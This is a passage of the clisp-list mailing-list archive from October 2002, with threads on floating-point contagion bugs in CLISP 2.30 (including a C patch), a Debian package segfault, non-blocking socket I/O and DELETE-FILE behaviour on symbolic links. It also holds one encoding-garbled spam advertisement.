MIME-Version: 1.0 To: sds@gnu.org, "Vadim V. Zhytnikov" , clisp-list@lists.sourceforge.net, Raymond Toy Subject: Re: [clisp-list] floating point problems with clisp 2.30 References: <3DA00366.3010104@mail.ru> <3DA094CE.3060307@mail.ru> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Envelope-To: sds@gnu.org, vvzhy@mail.ru, clisp-list@lists.sourceforge.net, toy@rtp.ericsson.se Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 7 13:17:07 2002 X-Original-Date: Tue, 08 Oct 2002 00:15:18 +0300 Sam Steingold write: >>* In message <3DA094CE.3060307@mail.ru> >>* On the subject of "Re: [clisp-list] floating point problems with clisp 2.30" >>* Sent on Sun, 06 Oct 2002 22:53:50 +0300 >>* Honorable "Vadim V. Zhytnikov" writes: >> >>Unfortunately this doesn't explain wrong numeric values which I get >>for some special functions in Maxima with clisp 2.30 since the value >>above is correct. >> >> > >note that BESSEL &co call explicit (FLOAT * 1.0) which can easily >result in floating point contagion. > >again, _please_ supply me with an test example where a CLISP built-in >function produces incorrect results (either WRT precision, of value or >whatever). > > > Unfortunately I can't provide any simple example yet but below are results which make me think that something is wrong with clisp 2.30 or at least something is wrong in combination Maxima + clisp 2.30. All results are obtained on different lisps with Maxima CVS (SourceForge): ------------------------------------------------- CMUCL 18d (C1) gamma(1.1); (D1) .9513507698668733 ------------------------------------------------- GCL 2.5.0 CVS (C1) gamma(1.1); (D1) 0.95135076986687 ------------------------------------------------- CLISP 2.29 (C1) gamma(1.1); (D1) .9513507698668733 ------------------------------------------------- CLISP 2.30 (C1) gamma(1.1); WARNING: Floating point operation combines numbers of different precision. See ANSI CL 12.1.4.4 and the CLISP impnotes for details. The result's actual precision is controlled by *FLOATING-POINT-CONTAGION-ANSI*. To shut off this warning, set *WARN-ON-FLOATING-POINT-CONTAGION* to NIL. (D1) 0.9513507 (C2) :lisp (setq custom::*floating-point-contagion-ansi* t) T (C2) gamma(1.1); WARNING: Floating point operation combines numbers of different precision. See ANSI CL 12.1.4.4 and the CLISP impnotes for details. The result's actual precision is controlled by *FLOATING-POINT-CONTAGION-ANSI*. To shut off this warning, set *WARN-ON-FLOATING-POINT-CONTAGION* to NIL. (D2) .9513507355077885 ------------------------------------------------------ Notice that all lisps including clisp 2.29 (and 2.28, and 2.27) give exactly the same answer and only clisp 2.30 result differs. Actual computation is performed by gammafloat and gamma-lanczos functions in csimp2.lisp. I'm glad that Raymond pointed out that Maxima redefines float. It solves some mystery to me. Originally I extracted gamma-lanczos into separate file to play with and obtained quite strange results which differ from ones obtained from Maxima. Now I understand why. -- Vadim V. Zhytnikov From sds@gnu.org Mon Oct 07 14:54:32 2002 Received: from h024.c001.snv.cp.net ([209.228.32.139] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17yfpg-0000F7-00 for ; Mon, 07 Oct 2002 14:54:32 -0700 Received: (cpmta 28681 invoked from network); 7 Oct 2002 14:54:30 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.139) with SMTP; 7 Oct 2002 14:54:30 -0700 X-Sent: 7 Oct 2002 21:54:30 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g97LsPb15823; Mon, 7 Oct 2002 17:54:25 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: "Vadim V. Zhytnikov" Cc: "Vadim V. Zhytnikov" , clisp-list@lists.sourceforge.net, Raymond Toy Subject: Re: [clisp-list] floating point problems with clisp 2.30 References: <3DA00366.3010104@mail.ru> <3DA094CE.3060307@mail.ru> <3DA1F966.7090101@yandex.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3DA1F966.7090101@yandex.ru> Message-ID: Lines: 113 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 7 14:55:05 2002 X-Original-Date: 07 Oct 2002 17:54:25 -0400 > * In message <3DA1F966.7090101@yandex.ru> > * On the subject of "Re: [clisp-list] floating point problems with clisp 2.30" > * Sent on Tue, 08 Oct 2002 00:15:18 +0300 > * Honorable "Vadim V. Zhytnikov" writes: > > Sam Steingold write: > > >again, _please_ supply me with an test example where a CLISP built-in > >function produces incorrect results (either WRT precision, of value > >or whatever). > Unfortunately I can't provide any simple example yet try (setq *break-on-warnings* t) please do try to make a stand-alone (non-maxima) case! I just fixed some (but not all) problems. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Live Lisp and prosper. Index: src/comptran.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/comptran.d,v retrieving revision 1.13 retrieving revision 1.16 diff -u -w -b -r1.13 -r1.16 --- src/comptran.d 11 Sep 2002 23:15:23 -0000 1.13 +++ src/comptran.d 7 Oct 2002 21:47:37 -0000 1.16 @@ -31,16 +31,27 @@ return R_exp_R(x,start_p,end_p); } else { /* x=a+bi */ pushSTACK(TheComplex(x)->c_real); /* save a */ - R_cos_sin_R_R(TheComplex(x)->c_imag,start_p,NULL); /* (cos b), (sin b) */ - /* stack layout: a, cos(b), sin(b). */ + pushSTACK(TheComplex(x)->c_imag); /* save b */ + pushSTACK(R_R_contagion_R(STACK_0,STACK_1)); + /* since x is complex, the result is a float anyway */ + if (R_rationalp(STACK_1)) /* b */ + STACK_1 = RA_R_float_F(STACK_1,STACK_0); + if (R_rationalp(STACK_2)) /* a */ + STACK_2 = RA_R_float_F(STACK_2,STACK_0); + if (start_p) { + STACK_1 = F_extend2_F(STACK_1); /* b */ + STACK_2 = F_extend2_F(STACK_2); /* a */ + } + R_cos_sin_R_R(STACK_1,false,NULL); /* (cos b), (sin b) */ + /* stack layout: a, b, contagion, cos(b), sin(b). */ /* b != Fixnum_0 ==> sin(b) ~= Fixnum_0. */ - STACK_2 = R_exp_R(STACK_2,start_p,NULL); /* (exp a) */ - /* stack layout: exp(a), cos(b), sin(b). */ + STACK_2 = R_exp_R(STACK_4,false,NULL); /* (exp a) */ + /* stack layout: a, exp(a), cos(b), sin(b). */ STACK_0 = R_R_mal_R(STACK_2,STACK_0); /* (* (exp a) (sin b)) != Fixnum_0 */ STACK_1 = R_R_mal_R(STACK_2,STACK_1); /* (* (exp a) (cos b)) */ x = R_R_complex_C(F_R_float_F(STACK_1,*end_p), F_R_float_F(STACK_0,*end_p)); /* (complex ... ...) */ - skipSTACK(3); return x; + skipSTACK(5); return x; } } @@ -166,7 +177,7 @@ pushSTACK(a); pushSTACK(b); STACK_1 = N_log_N(STACK_1,true,&STACK_1); /* (log a) */ STACK_0 = N_log_N(STACK_0,true,&STACK_0); /* (log b) */ - a = N_N_durch_N(a,b); /* divide */ + a = N_N_durch_N(STACK_1,STACK_0); /* divide */ skipSTACK(2); return a; } } @@ -502,10 +513,11 @@ STACK_3 = R_R_contagion_R(STACK_3,STACK_2); STACK_2 = x = R_exp_R(R_minus_R(STACK_2),false,NULL); /* (exp (- b)) */ /* stack layout: exp(-b), cos(a), sin(a). */ - STACK_0 = R_R_mal_R(x,STACK_0); /* (* (exp (- b)) (sin a)) */ + STACK_0 = R_R_mal_R(x,STACK_0); /* (* (exp (- b)) (sin a)), maybe 0 */ x = R_R_mal_R(STACK_2,STACK_1); /* (* (exp (- b)) (cos a)) */ x = R_R_complex_N(F_R_float_F(x,STACK_3), /* (complex ... ...) */ - F_R_float_F(STACK_0,STACK_3)); + eq(Fixnum_0,STACK_0) ? Fixnum_0 + : F_R_float_F(STACK_0,STACK_3)); skipSTACK(4); return x; } } Index: src/lisparit.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/lisparit.d,v retrieving revision 1.41 retrieving revision 1.43 diff -u -w -b -r1.41 -r1.43 --- src/lisparit.d 24 Sep 2002 17:55:51 -0000 1.41 +++ src/lisparit.d 7 Oct 2002 21:13:29 -0000 1.43 @@ -980,8 +980,12 @@ # (EXP number), CLTL S. 203 LISPFUNN(exp,1) { check_number(STACK_0); - VALUES1(N_exp_N(STACK_0,true,&STACK_0)); - skipSTACK(1); + if (complexp(STACK_0)) + pushSTACK(R_R_contagion_R(TheComplex(STACK_0)->c_real, + TheComplex(STACK_0)->c_imag)); + else pushSTACK(STACK_0); + VALUES1(N_exp_N(STACK_1,true,&STACK_0)); + skipSTACK(2); } LISPFUNN(expt,2) From lisp-clisp-list@m.gmane.org Mon Oct 07 19:33:39 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ykBl-0005po-00 for ; Mon, 07 Oct 2002 19:33:37 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17ykB9-0000W8-00 for ; Tue, 08 Oct 2002 04:32:59 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 17ykB7-0000Vs-00 for ; Tue, 08 Oct 2002 04:32:57 +0200 Path: not-for-mail From: fc@gnu.org (Fabricio Chalub) Lines: 10 Message-ID: <85ofa5mzvt.fsf@afx.raw.no-ip.com> References: <85zntrtvsz.fsf@afx.raw.no-ip.com> <85y99b5tgf.fsf@afx.raw.no-ip.com> NNTP-Posting-Host: 205160.rjo.virtua.com.br Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Trace: main.gmane.org 1034044377 1963 200.179.205.160 (8 Oct 2002 02:32:57 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Tue, 8 Oct 2002 02:32:57 +0000 (UTC) User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 Subject: [clisp-list] Re: CLISP segfaults when loading parts of CLLIB? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 7 19:34:07 2002 X-Original-Date: 07 Oct 2002 23:24:22 -0300 OK, this sounds more like a bug related to the Debian package (clisp-2.30-4). I rebuilt the package (apt-get --compile source clisp) to no avail. When using the latest CLISP CVS checkout, compiled with gcc-2.95 and gcc-3.2 (with/without debugging), everything goes smoothly. fc -- http://raw.no-ip.com/~fc/ From dmsr168@yahoo.co.jp Mon Oct 07 20:24:06 2002 Received: from [218.49.118.33] (helo=yahoo.co.jp) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ykyb-0001fW-00 for ; Mon, 07 Oct 2002 20:24:06 -0700 Reply-To: Message-ID: <030a86b82d4b$3881d2b5$7eb70aa6@osknxd> From: To: MiME-Version: 1.0 Content-Type: text/html; charset="Big5" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 Importance: Normal Subject: [clisp-list] ADV: ´í¹ý´óºÃµÄ½»Ò×Á¼»ú Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 7 20:25:01 2002 X-Original-Date: Tue, 08 Oct 2002 08:13:18 -0500 ĿǰȫÇò?ÉϽ»Ò×µÄÊÐ?ÈÕ?³ÉÊì

ĿǰȫÇòÏßÉϽ»Ò×µÄÊг¡ÈÕÇ÷³ÉÊì¡£ÍøÂ·¹ºÎïÖУ¬¸ß´ï80%µÄÍøÉϽ»Ò×ÊÇͨ¹ýÐÅÓÿ¨¸¶¿î¡£ÍøÉÏÐÅÓÿ¨¸¶¿î·þÎñÒѱä³ÉÍøÉÏÉ̼ҵıØÐèÆ·¡£ ²»Ïë´í¹ý´óºÃµÄ½»Ò×Á¼»úÂð£¿ÂíÉÏÌá¹©ÍøÉÏÐÅÓÿ¨¸¶¿î·þÎñ£¬±£Ö¤ÄúµÄÏúÊÛ¶îÉÏÉý¡£

GinixµÄÍøÉÏÐÅÓÿ¨¸¶¿îϵͳPS2ÊÇÄúµÄ×î¼ÑÑ¡Ôñ£¡

ÎÞ°²×°·Ñ»òÔÂ·Ñ ²»ÐèÓÐÉÌ»§»§¿Ú
ʹÓüòµ¥£¬ÊÕ·ÑÏàÒË  Ò»´ÎÐÔ»ò¶¨ÆÚÐÔµÄÊÕ¿î
Ìṩ¶àÖÖÓïÑÔ  ÓжàÖÖ½»Ò×´¦Àí·½Ê½
ÊÚÀí¶àÖÖ»õ±Ò  Ãâ·Ñ¹ºÎï³µ 
Ãâ·ÑÏúÊÛ±¨¸æ Ãâ·Ñ´´½¨Óë¹ÜÀíÉ̵êϵͳ
Ãâ·Ñ¹Ë¿Í·þÎñϵͳ  °²È«¿É¿¿, ±£Ö¤Ë½Òþ

ÓйØÏêÇéÇë²ÎÔÄÍøÕ¾  http://home.kimo.com.tw/dmsr1682000


John Lang                              Èç¹ûÄú²»ÏëÔÙÊÕµ½Îҵĵç×ÓÓʼþ
20089 Mission Blvd.             Çë·¢µç×ÓÓʼþÖÁ dmsr168@yahoo.co.jp

From sds@gnu.org Tue Oct 08 05:50:08 2002 Received: from h021.c001.snv.cp.net ([209.228.32.135] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17ytoO-0003gW-00 for ; Tue, 08 Oct 2002 05:50:08 -0700 Received: (cpmta 7195 invoked from network); 8 Oct 2002 05:50:06 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.135) with SMTP; 8 Oct 2002 05:50:06 -0700 X-Sent: 8 Oct 2002 12:50:06 GMT Received: (from sds@localhost) by glip.premonitia.com (8.11.6/8.11.6) id g98Co5s18291; Tue, 8 Oct 2002 08:50:05 -0400 X-Authentication-Warning: glip.premonitia.com: sds set sender to sds@gnu.org using -f To: fc@gnu.org (Fabricio Chalub) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLISP segfaults when loading parts of CLLIB? References: <85zntrtvsz.fsf@afx.raw.no-ip.com> <85y99b5tgf.fsf@afx.raw.no-ip.com> <85ofa5mzvt.fsf@afx.raw.no-ip.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <85ofa5mzvt.fsf@afx.raw.no-ip.com> Message-ID: Lines: 21 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 8 05:51:02 2002 X-Original-Date: 08 Oct 2002 08:50:05 -0400 > * In message <85ofa5mzvt.fsf@afx.raw.no-ip.com> > * On the subject of "[clisp-list] Re: CLISP segfaults when loading parts of CLLIB?" > * Sent on 07 Oct 2002 23:24:22 -0300 > * Honorable fc@gnu.org (Fabricio Chalub) writes: > > OK, this sounds more like a bug related to the Debian package > (clisp-2.30-4). I rebuilt the package (apt-get --compile source clisp) > to no avail. > > When using the latest CLISP CVS checkout, compiled with gcc-2.95 and > gcc-3.2 (with/without debugging), everything goes smoothly. Great news!!! Please report this to the CLISP Debian maintainers (Will Newton). He is extraordinarily competent, and I am sure he can handle this. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Bill Gates is not god and Microsoft is not heaven. From sds@gnu.org Tue Oct 08 18:36:43 2002 Received: from pool-151-203-41-208.bos.east.verizon.net ([151.203.41.208] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17z5mF-0004jm-00 for ; Tue, 08 Oct 2002 18:36:43 -0700 Received: (from sds@localhost) by loiso.podval.org (8.11.6/8.11.6) id g991b4L01623; Tue, 8 Oct 2002 21:37:04 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Arseny Slobodjuck Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: READ-SEQUENCE-NO-HANG References: <15771.35198.890395.898283@honolulu.ilog.fr> <923285404.20021005092646@ich.dvo.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <923285404.20021005092646@ich.dvo.ru> Message-ID: Lines: 28 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Oct 8 18:37:01 2002 X-Original-Date: 08 Oct 2002 21:37:03 -0400 > * In message <923285404.20021005092646@ich.dvo.ru> > * On the subject of "Re: [clisp-list] Re: READ-SEQUENCE-NO-HANG" > * Sent on Sat, 5 Oct 2002 09:26:46 +1000 > * Honorable Arseny Slobodjuck writes: > > So maybe make a socket-stream option BLOCKING and use it in that > select loops and in READ-SEQUENCE ? > > Advantages: > 1. can be queried (AFAIK blocking mode of socket can't be checked) > so READ-SEQUENCE can determine how to behave. > 2. Lowlevel code handling just one socket mode, simpler. > 3. no WSACancelBlockingCall. why not do it "implicitly"? add READ/WRITE-CHAR/BYTE-SEQUENCE-NO-HANG (that's 4 functions) which, on entry, put the socket (if that was a socket stream) into a non-blocking mode and do the I/O; before the return, you will need to put the socket back into blocking mode (see make_HANDLER_frame/unwind_HANDLER_frame). -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Marriage is the sole cause of divorce. From sds@gnu.org Thu Oct 10 07:45:02 2002 Received: from pool-151-203-41-208.bos.east.verizon.net ([151.203.41.208] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17zeYf-00010D-00 for ; Thu, 10 Oct 2002 07:45:02 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id g9AEjCjD025576; Thu, 10 Oct 2002 10:45:12 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id g9AEjBWZ025572; Thu, 10 Oct 2002 10:45:11 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Vadim V. Zhytnikov" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] floating point problems with clisp 2.30 References: <3DA00366.3010104@mail.ru> <3DA094CE.3060307@mail.ru> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3DA094CE.3060307@mail.ru> Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 10 07:46:01 2002 X-Original-Date: 10 Oct 2002 10:45:11 -0400 > * In message <3DA094CE.3060307@mail.ru> > * On the subject of "Re: [clisp-list] floating point problems with clisp 2.30" > * Sent on Sun, 06 Oct 2002 22:53:50 +0300 > * Honorable "Vadim V. Zhytnikov" writes: > > Unfortunately this doesn't explain wrong numeric values which I get > for some special functions in Maxima with clisp 2.30 since the value > above is correct. I fixed in the CVS all bugs you have reported so far. please get the CLISP CVS HEAD and check that everything is OK. Thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Trespassers will be shot. Survivors will be prosecuted. From sds@gnu.org Thu Oct 10 09:40:15 2002 Received: from pool-151-203-41-208.bos.east.verizon.net ([151.203.41.208] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17zgMB-0001TL-00 for ; Thu, 10 Oct 2002 09:40:15 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id g9AGeRjD027123 for ; Thu, 10 Oct 2002 12:40:27 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id g9AGeR45027119; Thu, 10 Oct 2002 12:40:27 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: clisp-list@sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Message-ID: Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] DELETE-FILE & TRUENAME Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 10 09:41:02 2002 X-Original-Date: 10 Oct 2002 12:40:27 -0400 DELETE-FILE in CLISP deletes the truename of the file, so you cannot delete a symbolic link, only its target: $ touch foo $ ln -s foo bar $ clisp -q -norc -x '(delete-file "foo") $ ls foo $ i.e., `bar' is gone, but `foo' is still there. I think it is better to remove the symlink. (the current behavior is always available with (DELETE-FILE (TRUENAME x))). comments? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux "A pint of sweat will save a gallon of blood." -- George S. Patton From ampy@ich.dvo.ru Fri Oct 11 03:41:57 2002 Received: from ints.vtc.ru ([212.16.193.34] helo=vtc.ru) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17zxEq-0000N9-00 for ; Fri, 11 Oct 2002 03:41:49 -0700 Received: from ppp37-AS-1.vtc.ru (ppp37-AS-1.vtc.ru [212.16.216.37]) by vtc.ru (8.12.6/8.12.6) with ESMTP id g9BAewpj004477; Fri, 11 Oct 2002 21:41:11 +1100 From: Arseny Slobodjuck X-Mailer: The Bat! (v1.44) Reply-To: Arseny Slobodjuck Organization: ICH X-Priority: 3 (Normal) Message-ID: <1531666676.20021011214129@ich.dvo.ru> To: Sam Steingold CC: clisp-list@sourceforge.net Subject: Re: [clisp-list] DELETE-FILE & TRUENAME In-reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 11 03:42:04 2002 X-Original-Date: Fri, 11 Oct 2002 21:41:29 +1000 Hello Sam, Friday, October 11, 2002, 2:40:27 AM, you wrote: > I think it is better to remove the symlink. > (the current behavior is always available with (DELETE-FILE (TRUENAME x))). > comments? I think same. I will do that if there will no objections. -- Best regards, Arseny From sds@gnu.org Fri Oct 11 08:59:49 2002 Received: from pool-151-203-41-208.bos.east.verizon.net ([151.203.41.208] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1802Cb-0003Mj-00 for ; Fri, 11 Oct 2002 08:59:49 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id g9BG0BjD002350; Fri, 11 Oct 2002 12:00:11 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id g9BG0B5x002346; Fri, 11 Oct 2002 12:00:11 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Marco Antoniotti Cc: ampy@ich.dvo.ru, clisp-list@sourceforge.net Subject: Re: [clisp-list] DELETE-FILE & TRUENAME References: <1531666676.20021011214129@ich.dvo.ru> <200210111507.g9BF7mu01489@bioinformatics.cims.nyu.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200210111507.g9BF7mu01489@bioinformatics.cims.nyu.edu> Message-ID: Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 11 09:00:10 2002 X-Original-Date: 11 Oct 2002 12:00:11 -0400 > * In message <200210111507.g9BF7mu01489@bioinformatics.cims.nyu.edu> > * On the subject of "Re: [clisp-list] DELETE-FILE & TRUENAME" > * Sent on Fri, 11 Oct 2002 11:07:48 -0400 > * Honorable Marco Antoniotti writes: > > > > I think it is better to remove the symlink. > > > (the current behavior is always available with (DELETE-FILE (TRUENAME x))). > Is there a consensus among other implementors about what to do in this > case? CMUCL removed the symlink, not the target. can someone try LW and ACL? -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Yeah, yeah, I love cats too... wanna trade recipes? From pjb@informatimago.com Fri Oct 11 09:32:30 2002 Received: from thalassa.informatimago.com ([212.87.205.57]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1802iA-0002m2-00 for ; Fri, 11 Oct 2002 09:32:26 -0700 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 3931F8D446; Fri, 11 Oct 2002 18:32:17 +0200 (CEST) From: Pascal Bourguignon To: sds@gnu.org Cc: marcoxa@cs.nyu.edu, ampy@ich.dvo.ru, clisp-list@sourceforge.net In-reply-to: (message from Sam Steingold on 11 Oct 2002 12:00:11 -0400) Subject: Re: [clisp-list] DELETE-FILE & TRUENAME Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: References: <1531666676.20021011214129@ich.dvo.ru> <200210111507.g9BF7mu01489@bioinformatics.cims.nyu.edu> Message-Id: <20021011163217.3931F8D446@thalassa.informatimago.com> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 11 09:33:02 2002 X-Original-Date: Fri, 11 Oct 2002 18:32:17 +0200 (CEST) > From: Sam Steingold > Date: 11 Oct 2002 12:00:11 -0400 > > > * In message <200210111507.g9BF7mu01489@bioinformatics.cims.nyu.edu> > > * On the subject of "Re: [clisp-list] DELETE-FILE & TRUENAME" > > * Sent on Fri, 11 Oct 2002 11:07:48 -0400 > > * Honorable Marco Antoniotti writes: > > > > > > I think it is better to remove the symlink. (the current > > > > behavior is always available with (DELETE-FILE (TRUENAME x))). > > > Is there a consensus among other implementors about what to do in > > this case? > > CMUCL removed the symlink, not the target. emacs too. > can someone try LW and ACL? -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- The name is Baud,...... James Baud. From edi@agharta.de Fri Oct 11 09:49:54 2002 Received: from h-213.61.102.30.host.de.colt.net ([213.61.102.30] helo=dyn164.dbdmedia.de) by 